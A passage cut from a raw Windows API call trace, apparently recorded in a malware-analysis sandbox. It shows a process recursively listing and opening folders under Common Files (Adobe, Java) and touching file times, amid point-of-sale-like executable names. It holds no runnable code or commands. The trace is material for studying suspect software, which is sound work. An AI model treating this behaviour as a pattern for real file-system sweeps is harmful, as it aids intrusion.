ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.759] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.759] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.759] NtClose (Handle=0x168) returned 0x0 [0086.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.760] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb3e8 [0086.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9df0 [0086.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.762] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.762] GetLastError () returned 0x12 [0086.762] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.763] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.763] GetLastError () returned 0x12 [0086.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.763] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.764] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0086.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.764] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.765] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.765] NtClose (Handle=0x180) returned 0x0 [0086.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.766] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.766] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.766] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb408 [0086.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9ef8 [0086.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.768] GetLastError () returned 0x12 [0086.768] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.768] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.768] GetLastError () returned 0x12 [0086.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.769] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.769] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0086.769] GetLastError () returned 0x12 [0086.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0086.770] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0086.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.770] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0086.770] GetLastError () returned 0x12 [0086.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0086.770] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0086.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0086.771] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8b21f0, ftCreationTime.dwHighDateTime=0x1d56ea7, ftLastAccessTime.dwLowDateTime=0x307952c0, ftLastAccessTime.dwHighDateTime=0x1d55201, ftLastWriteTime.dwLowDateTime=0x307952c0, ftLastWriteTime.dwHighDateTime=0x1d55201, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1 [0086.771] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82b2590, ftCreationTime.dwHighDateTime=0x1d59701, ftLastAccessTime.dwLowDateTime=0x82de3430, ftLastAccessTime.dwHighDateTime=0x1d590d2, ftLastWriteTime.dwLowDateTime=0x82de3430, ftLastWriteTime.dwHighDateTime=0x1d590d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="")) returned 1 [0086.771] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0086.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0086.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java" (normalized: "c:\\program files (x86)\\common files\\java"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java" (normalized: "c:\\program files (x86)\\common files\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.772] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0086.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.772] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0086.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.772] NtClose (Handle=0x16c) returned 0x0 [0086.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0086.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0086.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0086.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0086.773] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0086.774] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.774] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 1 [0086.774] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 0 [0086.774] GetLastError () returned 0x12 [0086.774] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0086.774] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.774] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.774] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 1 [0086.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" (normalized: "c:\\program files (x86)\\common files\\java\\java update"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0086.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" (normalized: "c:\\program files (x86)\\common files\\java\\java update"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.774] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0086.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.775] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0086.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.775] NtClose (Handle=0x16c) returned 0x0 [0086.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0086.776] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0086.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, 